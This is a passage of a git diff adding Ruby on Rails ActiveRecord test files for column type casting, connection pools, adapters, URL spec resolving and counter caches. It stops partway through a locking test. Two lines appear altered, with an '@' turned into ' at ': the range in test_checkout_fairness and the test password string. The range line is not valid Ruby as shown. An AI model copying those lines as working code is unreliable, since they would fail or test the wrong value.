+ column = Column.new("title", "Hello", "varchar(20)")
+ column_def = ColumnDefinition.new(
+ column.name, "string",
+ column.limit, column.precision, column.scale, column.default, column.null)
+ assert_equal %Q{title varchar(20) DEFAULT 'Hello'}, @viz.accept(column_def)
+ end
+
+ def test_should_specify_not_null_if_null_option_is_false
+ column = Column.new("title", "Hello", "varchar(20)", false)
+ column_def = ColumnDefinition.new(
+ column.name, "string",
+ column.limit, column.precision, column.scale, column.default, column.null)
+ assert_equal %Q{title varchar(20) DEFAULT 'Hello' NOT NULL}, @viz.accept(column_def)
+ end
+
+ if current_adapter?(:MysqlAdapter)
+ def test_should_set_default_for_mysql_binary_data_types
+ binary_column = MysqlAdapter::Column.new("title", "a", "binary(1)")
+ assert_equal "a", binary_column.default
+
+ varbinary_column = MysqlAdapter::Column.new("title", "a", "varbinary(1)")
+ assert_equal "a", varbinary_column.default
+ end
+
+ def test_should_not_set_default_for_blob_and_text_data_types
+ assert_raise ArgumentError do
+ MysqlAdapter::Column.new("title", "a", "blob")
+ end
+
+ assert_raise ArgumentError do
+ MysqlAdapter::Column.new("title", "Hello", "text")
+ end
+
+ text_column = MysqlAdapter::Column.new("title", nil, "text")
+ assert_equal nil, text_column.default
+
+ not_null_text_column = MysqlAdapter::Column.new("title", nil, "text", false)
+ assert_equal "", not_null_text_column.default
+ end
+
+ def test_has_default_should_return_false_for_blog_and_test_data_types
+ blob_column = MysqlAdapter::Column.new("title", nil, "blob")
+ assert !blob_column.has_default?
+
+ text_column = MysqlAdapter::Column.new("title", nil, "text")
+ assert !text_column.has_default?
+ end
+ end
+
+ if current_adapter?(:Mysql2Adapter)
+ def test_should_set_default_for_mysql_binary_data_types
+ binary_column = Mysql2Adapter::Column.new("title", "a", "binary(1)")
+ assert_equal "a", binary_column.default
+
+ varbinary_column = Mysql2Adapter::Column.new("title", "a", "varbinary(1)")
+ assert_equal "a", varbinary_column.default
+ end
+
+ def test_should_not_set_default_for_blob_and_text_data_types
+ assert_raise ArgumentError do
+ Mysql2Adapter::Column.new("title", "a", "blob")
+ end
+
+ assert_raise ArgumentError do
+ Mysql2Adapter::Column.new("title", "Hello", "text")
+ end
+
+ text_column = Mysql2Adapter::Column.new("title", nil, "text")
+ assert_equal nil, text_column.default
+
+ not_null_text_column = Mysql2Adapter::Column.new("title", nil, "text", false)
+ assert_equal "", not_null_text_column.default
+ end
+
+ def test_has_default_should_return_false_for_blog_and_test_data_types
+ blob_column = Mysql2Adapter::Column.new("title", nil, "blob")
+ assert !blob_column.has_default?
+
+ text_column = Mysql2Adapter::Column.new("title", nil, "text")
+ assert !text_column.has_default?
+ end
+ end
+
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_bigint_column_should_map_to_integer
+ oid = PostgreSQLAdapter::OID::Identity.new
+ bigint_column = PostgreSQLColumn.new('number', nil, oid, "bigint")
+ assert_equal :integer, bigint_column.type
+ end
+
+ def test_smallint_column_should_map_to_integer
+ oid = PostgreSQLAdapter::OID::Identity.new
+ smallint_column = PostgreSQLColumn.new('number', nil, oid, "smallint")
+ assert_equal :integer, smallint_column.type
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/column_test.rb b/activerecord/test/cases/column_test.rb
new file mode 100644
index 0000000..3a4f414
--- /dev/null
+++ b/activerecord/test/cases/column_test.rb
@@ -0,0 +1,115 @@
+require "cases/helper"
+require 'models/company'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class ColumnTest < ActiveRecord::TestCase
+ def test_type_cast_boolean
+ column = Column.new("field", nil, "boolean")
+ assert column.type_cast('').nil?
+ assert column.type_cast(nil).nil?
+
+ assert column.type_cast(true)
+ assert column.type_cast(1)
+ assert column.type_cast('1')
+ assert column.type_cast('t')
+ assert column.type_cast('T')
+ assert column.type_cast('true')
+ assert column.type_cast('TRUE')
+ assert column.type_cast('on')
+ assert column.type_cast('ON')
+
+ # explicitly check for false vs nil
+ assert_equal false, column.type_cast(false)
+ assert_equal false, column.type_cast(0)
+ assert_equal false, column.type_cast('0')
+ assert_equal false, column.type_cast('f')
+ assert_equal false, column.type_cast('F')
+ assert_equal false, column.type_cast('false')
+ assert_equal false, column.type_cast('FALSE')
+ assert_equal false, column.type_cast('off')
+ assert_equal false, column.type_cast('OFF')
+ assert_equal false, column.type_cast(' ')
+ assert_equal false, column.type_cast("\u3000\r\n")
+ assert_equal false, column.type_cast("\u0000")
+ assert_equal false, column.type_cast('SOMETHING RANDOM')
+ end
+
+ def test_type_cast_integer
+ column = Column.new("field", nil, "integer")
+ assert_equal 1, column.type_cast(1)
+ assert_equal 1, column.type_cast('1')
+ assert_equal 1, column.type_cast('1ignore')
+ assert_equal 0, column.type_cast('bad1')
+ assert_equal 0, column.type_cast('bad')
+ assert_equal 1, column.type_cast(1.7)
+ assert_equal 0, column.type_cast(false)
+ assert_equal 1, column.type_cast(true)
+ assert_nil column.type_cast(nil)
+ end
+
+ def test_type_cast_non_integer_to_integer
+ column = Column.new("field", nil, "integer")
+ assert_nil column.type_cast([1,2])
+ assert_nil column.type_cast({1 => 2})
+ assert_nil column.type_cast((1..2))
+ end
+
+ def test_type_cast_activerecord_to_integer
+ column = Column.new("field", nil, "integer")
+ firm = Firm.create(:name => 'Apple')
+ assert_nil column.type_cast(firm)
+ end
+
+ def test_type_cast_object_without_to_i_to_integer
+ column = Column.new("field", nil, "integer")
+ assert_nil column.type_cast(Object.new)
+ end
+
+ def test_type_cast_nan_and_infinity_to_integer
+ column = Column.new("field", nil, "integer")
+ assert_nil column.type_cast(Float::NAN)
+ assert_nil column.type_cast(1.0/0.0)
+ end
+
+ def test_type_cast_time
+ column = Column.new("field", nil, "time")
+ assert_equal nil, column.type_cast(nil)
+ assert_equal nil, column.type_cast('')
+ assert_equal nil, column.type_cast('ABC')
+
+ time_string = Time.now.utc.strftime("%T")
+ assert_equal time_string, column.type_cast(time_string).strftime("%T")
+ end
+
+ def test_type_cast_datetime_and_timestamp
+ [Column.new("field", nil, "datetime"), Column.new("field", nil, "timestamp")].each do |column|
+ assert_equal nil, column.type_cast(nil)
+ assert_equal nil, column.type_cast('')
+ assert_equal nil, column.type_cast(' ')
+ assert_equal nil, column.type_cast('ABC')
+
+ datetime_string = Time.now.utc.strftime("%FT%T")
+ assert_equal datetime_string, column.type_cast(datetime_string).strftime("%FT%T")
+ end
+ end
+
+ def test_type_cast_date
+ column = Column.new("field", nil, "date")
+ assert_equal nil, column.type_cast(nil)
+ assert_equal nil, column.type_cast('')
+ assert_equal nil, column.type_cast(' ')
+ assert_equal nil, column.type_cast('ABC')
+
+ date_string = Time.now.utc.strftime("%F")
+ assert_equal date_string, column.type_cast(date_string).strftime("%F")
+ end
+
+ def test_type_cast_duration_to_integer
+ column = Column.new("field", nil, "integer")
+ assert_equal 1800, column.type_cast(30.minutes)
+ assert_equal 7200, column.type_cast(2.hours)
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb b/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb
new file mode 100644
index 0000000..eb2fe56
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb
@@ -0,0 +1,62 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class ConnectionPool
+ def insert_connection_for_test!(c)
+ synchronize do
+ @connections << c
+ @available.add c
+ end
+ end
+ end
+
+ class AbstractAdapterTest < ActiveRecord::TestCase
+ attr_reader :adapter
+
+ def setup
+ @adapter = AbstractAdapter.new nil, nil
+ end
+
+ def test_in_use?
+ assert_not adapter.in_use?, 'adapter is not in use'
+ assert adapter.lease, 'lease adapter'
+ assert adapter.in_use?, 'adapter is in use'
+ end
+
+ def test_lease_twice
+ assert adapter.lease, 'should lease adapter'
+ assert_not adapter.lease, 'should not lease adapter'
+ end
+
+ def test_last_use
+ assert_not adapter.last_use
+ adapter.lease
+ assert adapter.last_use
+ end
+
+ def test_expire_mutates_in_use
+ assert adapter.lease, 'lease adapter'
+ assert adapter.in_use?, 'adapter is in use'
+ adapter.expire
+ assert_not adapter.in_use?, 'adapter is in use'
+ end
+
+ def test_close
+ pool = ConnectionPool.new(ConnectionSpecification.new({}, nil))
+ pool.insert_connection_for_test! adapter
+ adapter.pool = pool
+
+ # Make sure the pool marks the connection in use
+ assert_equal adapter, pool.connection
+ assert adapter.in_use?
+
+ # Close should put the adapter back in the pool
+ adapter.close
+ assert_not adapter.in_use?
+
+ assert_equal adapter, pool.connection
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_adapters/connection_handler_test.rb b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
new file mode 100644
index 0000000..3e33b30
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
@@ -0,0 +1,53 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class ConnectionHandlerTest < ActiveRecord::TestCase
+ def setup
+ @klass = Class.new(Base) { def self.name; 'klass'; end }
+ @subklass = Class.new(@klass) { def self.name; 'subklass'; end }
+
+ @handler = ConnectionHandler.new
+ @pool = @handler.establish_connection(@klass, Base.connection_pool.spec)
+ end
+
+ def test_retrieve_connection
+ assert @handler.retrieve_connection(@klass)
+ end
+
+ def test_active_connections?
+ assert !@handler.active_connections?
+ assert @handler.retrieve_connection(@klass)
+ assert @handler.active_connections?
+ @handler.clear_active_connections!
+ assert !@handler.active_connections?
+ end
+
+ def test_retrieve_connection_pool_with_ar_base
+ assert_nil @handler.retrieve_connection_pool(ActiveRecord::Base)
+ end
+
+ def test_retrieve_connection_pool
+ assert_not_nil @handler.retrieve_connection_pool(@klass)
+ end
+
+ def test_retrieve_connection_pool_uses_superclass_when_no_subclass_connection
+ assert_not_nil @handler.retrieve_connection_pool(@subklass)
+ end
+
+ def test_retrieve_connection_pool_uses_superclass_pool_after_subclass_establish_and_remove
+ sub_pool = @handler.establish_connection(@subklass, Base.connection_pool.spec)
+ assert_same sub_pool, @handler.retrieve_connection_pool(@subklass)
+
+ @handler.remove_connection @subklass
+ assert_same @pool, @handler.retrieve_connection_pool(@subklass)
+ end
+
+ def test_connection_pools
+ assert_deprecated do
+ assert_equal({ Base.connection_pool.spec => @pool }, @handler.connection_pools)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_adapters/connection_specification_test.rb b/activerecord/test/cases/connection_adapters/connection_specification_test.rb
new file mode 100644
index 0000000..ea2196c
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/connection_specification_test.rb
@@ -0,0 +1,12 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class ConnectionSpecificationTest < ActiveRecord::TestCase
+ def test_dup_deep_copy_config
+ spec = ConnectionSpecification.new({ :a => :b }, "bar")
+ assert_not_equal(spec.config.object_id, spec.dup.config.object_id)
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_adapters/quoting_test.rb b/activerecord/test/cases/connection_adapters/quoting_test.rb
new file mode 100644
index 0000000..59dcb96
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/quoting_test.rb
@@ -0,0 +1,13 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ module Quoting
+ class QuotingTest < ActiveRecord::TestCase
+ def test_quoting_classes
+ assert_equal "'Object'", AbstractAdapter.new(nil).quote(Object)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_adapters/schema_cache_test.rb b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
new file mode 100644
index 0000000..ecad7c9
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
@@ -0,0 +1,56 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class SchemaCacheTest < ActiveRecord::TestCase
+ def setup
+ connection = ActiveRecord::Base.connection
+ @cache = SchemaCache.new connection
+ end
+
+ def test_primary_key
+ assert_equal 'id', @cache.primary_keys('posts')
+ end
+
+ def test_primary_key_for_non_existent_table
+ assert_nil @cache.primary_keys('omgponies')
+ end
+
+ def test_caches_columns
+ columns = @cache.columns('posts')
+ assert_equal columns, @cache.columns('posts')
+ end
+
+ def test_caches_columns_hash
+ columns_hash = @cache.columns_hash('posts')
+ assert_equal columns_hash, @cache.columns_hash('posts')
+ end
+
+ def test_clearing
+ @cache.columns('posts')
+ @cache.columns_hash('posts')
+ @cache.tables('posts')
+ @cache.primary_keys('posts')
+
+ @cache.clear!
+
+ assert_equal 0, @cache.size
+ end
+
+ def test_dump_and_load
+ @cache.columns('posts')
+ @cache.columns_hash('posts')
+ @cache.tables('posts')
+ @cache.primary_keys('posts')
+
+ @cache = Marshal.load(Marshal.dump(@cache))
+
+ assert_equal 12, @cache.columns('posts').size
+ assert_equal 12, @cache.columns_hash('posts').size
+ assert @cache.tables('posts')
+ assert_equal 'id', @cache.primary_keys('posts')
+ end
+
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_management_test.rb b/activerecord/test/cases/connection_management_test.rb
new file mode 100644
index 0000000..fe1b40d
--- /dev/null
+++ b/activerecord/test/cases/connection_management_test.rb
@@ -0,0 +1,112 @@
+require "cases/helper"
+require "rack"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class ConnectionManagementTest < ActiveRecord::TestCase
+ class App
+ attr_reader :calls
+ def initialize
+ @calls = []
+ end
+
+ def call(env)
+ @calls << env
+ [200, {}, ['hi mom']]
+ end
+ end
+
+ def setup
+ @env = {}
+ @app = App.new
+ @management = ConnectionManagement.new(@app)
+
+ # make sure we have an active connection
+ assert ActiveRecord::Base.connection
+ assert ActiveRecord::Base.connection_handler.active_connections?
+ end
+
+ def test_connection_pool_per_pid
+ return skip('must support fork') unless Process.respond_to?(:fork)
+
+ object_id = ActiveRecord::Base.connection.object_id
+
+ rd, wr = IO.pipe
+
+ pid = fork {
+ rd.close
+ wr.write Marshal.dump ActiveRecord::Base.connection.object_id
+ wr.close
+ exit!
+ }
+
+ wr.close
+
+ Process.waitpid pid
+ assert_not_equal object_id, Marshal.load(rd.read)
+ rd.close
+ end
+
+ def test_app_delegation
+ manager = ConnectionManagement.new(@app)
+
+ manager.call @env
+ assert_equal [@env], @app.calls
+ end
+
+ def test_connections_are_active_after_call
+ @management.call(@env)
+ assert ActiveRecord::Base.connection_handler.active_connections?
+ end
+
+ def test_body_responds_to_each
+ _, _, body = @management.call(@env)
+ bits = []
+ body.each { |bit| bits << bit }
+ assert_equal ['hi mom'], bits
+ end
+
+ def test_connections_are_cleared_after_body_close
+ _, _, body = @management.call(@env)
+ body.close
+ assert !ActiveRecord::Base.connection_handler.active_connections?
+ end
+
+ def test_active_connections_are_not_cleared_on_body_close_during_test
+ @env['rack.test'] = true
+ _, _, body = @management.call(@env)
+ body.close
+ assert ActiveRecord::Base.connection_handler.active_connections?
+ end
+
+ def test_connections_closed_if_exception
+ app = Class.new(App) { def call(env); raise; end }.new
+ explosive = ConnectionManagement.new(app)
+ assert_raises(RuntimeError) { explosive.call(@env) }
+ assert !ActiveRecord::Base.connection_handler.active_connections?
+ end
+
+ def test_connections_not_closed_if_exception_and_test
+ @env['rack.test'] = true
+ app = Class.new(App) { def call(env); raise; end }.new
+ explosive = ConnectionManagement.new(app)
+ assert_raises(RuntimeError) { explosive.call(@env) }
+ assert ActiveRecord::Base.connection_handler.active_connections?
+ end
+
+ test "doesn't clear active connections when running in a test case" do
+ @env['rack.test'] = true
+ @management.call(@env)
+ assert ActiveRecord::Base.connection_handler.active_connections?
+ end
+
+ test "proxy is polite to it's body and responds to it" do
+ body = Class.new(String) { def to_path; "/path"; end }.new
+ app = lambda { |_| [200, {}, body] }
+ response_body = ConnectionManagement.new(app).call(@env)[2]
+ assert response_body.respond_to?(:to_path)
+ assert_equal response_body.to_path, "/path"
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb
new file mode 100644
index 0000000..e6af292
--- /dev/null
+++ b/activerecord/test/cases/connection_pool_test.rb
@@ -0,0 +1,343 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class ConnectionPoolTest < ActiveRecord::TestCase
+ attr_reader :pool
+
+ def setup
+ super
+
+ # Keep a duplicate pool so we do not bother others
+ @pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+
+ if in_memory_db?
+ # Separate connections to an in-memory database create an entirely new database,
+ # with an empty schema etc, so we just stub out this schema on the fly.
+ @pool.with_connection do |connection|
+ connection.create_table :posts do |t|
+ t.integer :cololumn
+ end
+ end
+ end
+ end
+
+ def teardown
+ super
+ @pool.disconnect!
+ end
+
+ def active_connections(pool)
+ pool.connections.find_all(&:in_use?)
+ end
+
+ def test_checkout_after_close
+ connection = pool.connection
+ assert connection.in_use?
+
+ connection.close
+ assert !connection.in_use?
+
+ assert pool.connection.in_use?
+ end
+
+ def test_released_connection_moves_between_threads
+ thread_conn = nil
+
+ Thread.new {
+ pool.with_connection do |conn|
+ thread_conn = conn
+ end
+ }.join
+
+ assert thread_conn
+
+ Thread.new {
+ pool.with_connection do |conn|
+ assert_equal thread_conn, conn
+ end
+ }.join
+ end
+
+ def test_with_connection
+ assert_equal 0, active_connections(pool).size
+
+ main_thread = pool.connection
+ assert_equal 1, active_connections(pool).size
+
+ Thread.new {
+ pool.with_connection do |conn|
+ assert conn
+ assert_equal 2, active_connections(pool).size
+ end
+ assert_equal 1, active_connections(pool).size
+ }.join
+
+ main_thread.close
+ assert_equal 0, active_connections(pool).size
+ end
+
+ def test_active_connection_in_use
+ assert !pool.active_connection?
+ main_thread = pool.connection
+
+ assert pool.active_connection?
+
+ main_thread.close
+
+ assert !pool.active_connection?
+ end
+
+ def test_full_pool_exception
+ assert_raises(ConnectionTimeoutError) do
+ (@pool.size + 1).times do
+ @pool.checkout
+ end
+ end
+ end
+
+ def test_full_pool_blocks
+ cs = @pool.size.times.map { @pool.checkout }
+ t = Thread.new { @pool.checkout }
+
+ # make sure our thread is in the timeout section
+ Thread.pass until t.status == "sleep"
+
+ connection = cs.first
+ connection.close
+ assert_equal connection, t.join.value
+ end
+
+ def test_removing_releases_latch
+ cs = @pool.size.times.map { @pool.checkout }
+ t = Thread.new { @pool.checkout }
+
+ # make sure our thread is in the timeout section
+ Thread.pass until t.status == "sleep"
+
+ connection = cs.first
+ @pool.remove connection
+ assert_respond_to t.join.value, :execute
+ end
+
+ def test_reap_and_active
+ @pool.checkout
+ @pool.checkout
+ @pool.checkout
+ @pool.dead_connection_timeout = 0
+
+ connections = @pool.connections.dup
+
+ @pool.reap
+
+ assert_equal connections.length, @pool.connections.length
+ end
+
+ def test_reap_inactive
+ @pool.checkout
+ @pool.checkout
+ @pool.checkout
+ @pool.dead_connection_timeout = 0
+
+ connections = @pool.connections.dup
+ connections.each do |conn|
+ conn.extend(Module.new { def active?; false; end; })
+ end
+
+ @pool.reap
+
+ assert_equal 0, @pool.connections.length
+ ensure
+ connections.each(&:close)
+ end
+
+ def test_remove_connection
+ conn = @pool.checkout
+ assert conn.in_use?
+
+ length = @pool.connections.length
+ @pool.remove conn
+ assert conn.in_use?
+ assert_equal(length - 1, @pool.connections.length)
+ ensure
+ conn.close
+ end
+
+ def test_remove_connection_for_thread
+ conn = @pool.connection
+ @pool.remove conn
+ assert_not_equal(conn, @pool.connection)
+ ensure
+ conn.close if conn
+ end
+
+ def test_active_connection?
+ assert !@pool.active_connection?
+ assert @pool.connection
+ assert @pool.active_connection?
+ @pool.release_connection
+ assert !@pool.active_connection?
+ end
+
+ def test_checkout_behaviour
+ pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+ connection = pool.connection
+ assert_not_nil connection
+ threads = []
+ 4.times do |i|
+ threads << Thread.new(i) do
+ connection = pool.connection
+ assert_not_nil connection
+ connection.close
+ end
+ end
+
+ threads.each(&:join)
+
+ Thread.new do
+ assert pool.connection
+ pool.connection.close
+ end.join
+ end
+
+ # The connection pool is "fair" if threads waiting for
+ # connections receive them the order in which they began
+ # waiting. This ensures that we don't timeout one HTTP request
+ # even while well under capacity in a multi-threaded environment
+ # such as a Java servlet container.
+ #
+ # We don't need strict fairness: if two connections become
+ # available at the same time, it's fine of two threads that were
+ # waiting acquire the connections out of order.
+ #
+ # Thus this test prepares waiting threads and then trickles in
+ # available connections slowly, ensuring the wakeup order is
+ # correct in this case.
+ def test_checkout_fairness
+ @pool.instance_variable_set(:@size, 10)
+ expected = (1.. at pool.size).to_a.freeze
+ # check out all connections so our threads start out waiting
+ conns = expected.map { @pool.checkout }
+ mutex = Mutex.new
+ order = []
+ errors = []
+
+ threads = expected.map do |i|
+ t = Thread.new {
+ begin
+ @pool.checkout # never checked back in
+ mutex.synchronize { order << i }
+ rescue => e
+ mutex.synchronize { errors << e }
+ end
+ }
+ Thread.pass until t.status == "sleep"
+ t
+ end
+
+ # this should wake up the waiting threads one by one in order
+ conns.each { |conn| @pool.checkin(conn); sleep 0.1 }
+
+ threads.each(&:join)
+
+ raise errors.first if errors.any?
+
+ assert_equal(expected, order)
+ end
+
+ # As mentioned in #test_checkout_fairness, we don't care about
+ # strict fairness. This test creates two groups of threads:
+ # group1 whose members all start waiting before any thread in
+ # group2. Enough connections are checked in to wakeup all
+ # group1 threads, and the fact that only group1 and no group2
+ # threads acquired a connection is enforced.
+ def test_checkout_fairness_by_group
+ @pool.instance_variable_set(:@size, 10)
+ # take all the connections
+ conns = (1..10).map { @pool.checkout }
+ mutex = Mutex.new
+ successes = [] # threads that successfully got a connection
+ errors = []
+
+ make_thread = proc do |i|
+ t = Thread.new {
+ begin
+ @pool.checkout # never checked back in
+ mutex.synchronize { successes << i }
+ rescue => e
+ mutex.synchronize { errors << e }
+ end
+ }
+ Thread.pass until t.status == "sleep"
+ t
+ end
+
+ # all group1 threads start waiting before any in group2
+ group1 = (1..5).map(&make_thread)
+ group2 = (6..10).map(&make_thread)
+
+ # checkin n connections back to the pool
+ checkin = proc do |n|
+ n.times do
+ c = conns.pop
+ @pool.checkin(c)
+ end
+ end
+
+ checkin.call(group1.size) # should wake up all group1
+
+ loop do
+ sleep 0.1
+ break if mutex.synchronize { (successes.size + errors.size) == group1.size }
+ end
+
+ winners = mutex.synchronize { successes.dup }
+ checkin.call(group2.size) # should wake up everyone remaining
+
+ group1.each(&:join)
+ group2.each(&:join)
+
+ assert_equal((1..group1.size).to_a, winners.sort)
+
+ if errors.any?
+ raise errors.first
+ end
+ end
+
+ def test_automatic_reconnect=
+ pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+ assert pool.automatic_reconnect
+ assert pool.connection
+
+ pool.disconnect!
+ assert pool.connection
+
+ pool.disconnect!
+ pool.automatic_reconnect = false
+
+ assert_raises(ConnectionNotEstablished) do
+ pool.connection
+ end
+
+ assert_raises(ConnectionNotEstablished) do
+ pool.with_connection
+ end
+ end
+
+ def test_pool_sets_connection_visitor
+ assert @pool.connection.visitor.is_a?(Arel::Visitors::ToSql)
+ end
+
+ # make sure exceptions are thrown when establish_connection
+ # is called with a anonymous class
+ def test_anonymous_class_exception
+ anonymous = Class.new(ActiveRecord::Base)
+ handler = ActiveRecord::Base.connection_handler
+
+ assert_raises(RuntimeError) {
+ handler.establish_connection anonymous, nil
+ }
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_specification/resolver_test.rb b/activerecord/test/cases/connection_specification/resolver_test.rb
new file mode 100644
index 0000000..c8dfc32
--- /dev/null
+++ b/activerecord/test/cases/connection_specification/resolver_test.rb
@@ -0,0 +1,63 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class ConnectionSpecification
+ class ResolverTest < ActiveRecord::TestCase
+ def resolve(spec)
+ Resolver.new(spec, {}).spec.config
+ end
+
+ def test_url_invalid_adapter
+ assert_raises(LoadError) do
+ resolve 'ridiculous://foo?encoding=utf8'
+ end
+ end
+
+ # The abstract adapter is used simply to bypass the bit of code that
+ # checks that the adapter file can be required in.
+
+ def test_url_host_no_db
+ spec = resolve 'abstract://foo?encoding=utf8'
+ assert_equal({
+ adapter: "abstract",
+ host: "foo",
+ encoding: "utf8" }, spec)
+ end
+
+ def test_url_host_db
+ spec = resolve 'abstract://foo/bar?encoding=utf8'
+ assert_equal({
+ adapter: "abstract",
+ database: "bar",
+ host: "foo",
+ encoding: "utf8" }, spec)
+ end
+
+ def test_url_port
+ spec = resolve 'abstract://foo:123?encoding=utf8'
+ assert_equal({
+ adapter: "abstract",
+ port: 123,
+ host: "foo",
+ encoding: "utf8" }, spec)
+ end
+
+ def test_encoded_password
+ password = 'am at z1ng_p@ssw0rd#!'
+ encoded_password = URI.encode_www_form_component(password)
+ spec = resolve "abstract://foo:#{encoded_password}@localhost/bar"
+ assert_equal password, spec[:password]
+ end
+
+ def test_descriptive_error_message_when_adapter_is_missing
+ error = assert_raise(LoadError) do
+ resolve(adapter: 'non-existing')
+ end
+
+ assert_match "Could not load 'active_record/connection_adapters/non-existing_adapter'", error.message
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/counter_cache_test.rb b/activerecord/test/cases/counter_cache_test.rb
new file mode 100644
index 0000000..ac09325
--- /dev/null
+++ b/activerecord/test/cases/counter_cache_test.rb
@@ -0,0 +1,150 @@
+require 'cases/helper'
+require 'models/topic'
+require 'models/car'
+require 'models/wheel'
+require 'models/engine'
+require 'models/reply'
+require 'models/category'
+require 'models/categorization'
+require 'models/dog'
+require 'models/dog_lover'
+require 'models/person'
+require 'models/friendship'
+require 'models/subscriber'
+require 'models/subscription'
+require 'models/book'
+
+class CounterCacheTest < ActiveRecord::TestCase
+ fixtures :topics, :categories, :categorizations, :cars, :dogs, :dog_lovers, :people, :friendships, :subscribers, :subscriptions, :books
+
+ class ::SpecialTopic < ::Topic
+ has_many :special_replies, :foreign_key => 'parent_id'
+ end
+
+ class ::SpecialReply < ::Reply
+ belongs_to :special_topic, :foreign_key => 'parent_id', :counter_cache => 'replies_count'
+ end
+
+ setup do
+ @topic = Topic.find(1)
+ end
+
+ test "increment counter" do
+ assert_difference '@topic.reload.replies_count' do
+ Topic.increment_counter(:replies_count, @topic.id)
+ end
+ end
+
+ test "decrement counter" do
+ assert_difference '@topic.reload.replies_count', -1 do
+ Topic.decrement_counter(:replies_count, @topic.id)
+ end
+ end
+
+ test "reset counters" do
+ # throw the count off by 1
+ Topic.increment_counter(:replies_count, @topic.id)
+
+ # check that it gets reset
+ assert_difference '@topic.reload.replies_count', -1 do
+ Topic.reset_counters(@topic.id, :replies)
+ end
+ end
+
+ test "reset counters with string argument" do
+ Topic.increment_counter('replies_count', @topic.id)
+
+ assert_difference '@topic.reload.replies_count', -1 do
+ Topic.reset_counters(@topic.id, 'replies')
+ end
+ end
+
+ test "reset counters with modularized and camelized classnames" do
+ special = SpecialTopic.create!(:title => 'Special')
+ SpecialTopic.increment_counter(:replies_count, special.id)
+
+ assert_difference 'special.reload.replies_count', -1 do
+ SpecialTopic.reset_counters(special.id, :special_replies)
+ end
+ end
+
+ test "reset counter with belongs_to which has class_name" do
+ car = cars(:honda)
+ assert_nothing_raised do
+ Car.reset_counters(car.id, :engines)
+ end
+ assert_nothing_raised do
+ Car.reset_counters(car.id, :wheels)
+ end
+ end
+
+ test "reset the right counter if two have the same class_name" do
+ david = dog_lovers(:david)
+
+ DogLover.increment_counter(:bred_dogs_count, david.id)
+ DogLover.increment_counter(:trained_dogs_count, david.id)
+
+ assert_difference 'david.reload.bred_dogs_count', -1 do
+ DogLover.reset_counters(david.id, :bred_dogs)
+ end
+ assert_difference 'david.reload.trained_dogs_count', -1 do
+ DogLover.reset_counters(david.id, :trained_dogs)
+ end
+ end
+
+ test "update counter with initial null value" do
+ category = categories(:general)
+ assert_equal 2, category.categorizations.count
+ assert_nil category.categorizations_count
+
+ Category.update_counters(category.id, :categorizations_count => category.categorizations.count)
+ assert_equal 2, category.reload.categorizations_count
+ end
+
+ test "update counter for decrement" do
+ assert_difference '@topic.reload.replies_count', -3 do
+ Topic.update_counters(@topic.id, :replies_count => -3)
+ end
+ end
+
+ test "update counters of multiple records" do
+ t1, t2 = topics(:first, :second)
+
+ assert_difference ['t1.reload.replies_count', 't2.reload.replies_count'], 2 do
+ Topic.update_counters([t1.id, t2.id], :replies_count => 2)
+ end
+ end
+
+ test "update other counters on parent destroy" do
+ david, joanna = dog_lovers(:david, :joanna)
+ joanna = joanna # squelch a warning
+
+ assert_difference 'joanna.reload.dogs_count', -1 do
+ david.destroy
+ end
+ end
+
+ test "reset the right counter if two have the same foreign key" do
+ michael = people(:michael)
+ assert_nothing_raised(ActiveRecord::StatementInvalid) do
+ Person.reset_counters(michael.id, :friends_too)
+ end
+ end
+
+ test "reset counter of has_many :through association" do
+ subscriber = subscribers('second')
+ Subscriber.reset_counters(subscriber.id, 'books')
+ Subscriber.increment_counter('books_count', subscriber.id)
+
+ assert_difference 'subscriber.reload.books_count', -1 do
+ Subscriber.reset_counters(subscriber.id, 'books')
+ end
+ end
+
+ test "the passed symbol needs to be an association name" do
+ e = assert_raises(ArgumentError) do
+ Topic.reset_counters(@topic.id, :replies_count)
+ end
+ assert_equal "'Topic' has no association called 'replies_count'", e.message
+ end
+end
diff --git a/activerecord/test/cases/custom_locking_test.rb b/activerecord/test/cases/custom_locking_test.rb
new file mode 100644
index 0000000..e829029
--- /dev/null
+++ b/activerecord/test/cases/custom_locking_test.rb
@@ -0,0 +1,17 @@
+require "cases/helper"
+require 'models/person'
+
+module ActiveRecord
+ class CustomLockingTest < ActiveRecord::TestCase
+ fixtures :people
+
+ def test_custom_lock
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ assert_match 'SHARE MODE', Person.lock('LOCK IN SHARE MODE').to_sql
